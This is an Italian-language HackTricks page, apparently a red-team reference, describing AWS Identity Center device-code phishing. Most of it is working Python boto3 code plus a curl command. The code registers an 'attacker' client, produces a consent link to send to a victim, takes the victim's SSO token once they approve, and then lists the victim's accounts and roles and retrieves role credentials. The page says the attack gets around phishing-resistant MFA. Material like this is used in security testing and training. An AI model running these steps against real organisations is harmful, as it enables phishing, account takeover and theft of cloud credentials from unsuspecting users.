AWS - Identity Center & SSO Unauthenticated Enum

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Phishing del codice del dispositivo AWS

Inizialmente proposto in questo post sul blog, è possibile inviare un link a un utente utilizzando AWS SSO che se l'utente accetta permetterà all'attaccante di ottenere un token per impersonare l'utente e accedere a tutti i ruoli ai quali l'utente è in grado di accedere nel Centro dell'Identità.

Per eseguire questo attacco sono necessari:

  • La vittima deve utilizzare il Centro dell'Identità

  • L'attaccante deve conoscere il sottodominio utilizzato dalla vittima <sottodominiovittima>.awsapps.com/start

Solo con queste informazioni, l'attaccante sarà in grado di inviare un link all'utente che se accettato concederà all'attaccante l'accesso all'account utente AWS.

Attacco

  1. Trova il sottodominio

Il primo passo dell'attaccante è scoprire il sottodominio utilizzato dall'azienda vittima nel loro Centro dell'Identità. Questo può essere fatto tramite OSINT o indovinando + BF poiché la maggior parte delle aziende utilizzerà il proprio nome o una variazione del proprio nome qui.

Con queste informazioni, è possibile ottenere la regione in cui è stata configurata il Centro dell'Identità:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Genera il link per la vittima & Invialo

Esegui il seguente codice per generare un link di accesso AWS SSO in modo che la vittima possa autenticarsi. Per la demo, esegui questo codice in una console python e non uscire in quanto in seguito avrai bisogno di alcuni oggetti per ottenere il token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Aspetta che la vittima accetti

Se la vittima era già loggata in AWS dovrà solo accettare il concedere i permessi, se non lo era, dovrà effettuare il login e poi accettare il concedere i permessi. Ecco come appare attualmente il prompt:

  1. Ottieni il token di accesso SSO

Se la vittima ha accettato il prompt, esegui questo codice per generare un token SSO impersonando l'utente:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Il token di accesso SSO è valido per 8 ore.

  1. Impersonare l'utente

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing dell'MFA non pescabile

È divertente sapere che l'attacco precedente funziona anche se viene utilizzato un "MFA non pescabile" (webAuth). Questo perché il flusso di lavoro precedente non esce mai dal dominio OAuth utilizzato. A differenza di altri attacchi di phishing in cui l'utente deve sostituire il dominio di accesso, nel caso del flusso di lavoro del codice dispositivo è preparato in modo che un codice sia noto da un dispositivo e l'utente può effettuare l'accesso anche da una macchina diversa. Se accettato il prompt, il dispositivo, solo conoscendo il codice iniziale, sarà in grado di recuperare le credenziali dell'utente.

Per ulteriori informazioni su questo controlla questo post.

Strumenti Automatici

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated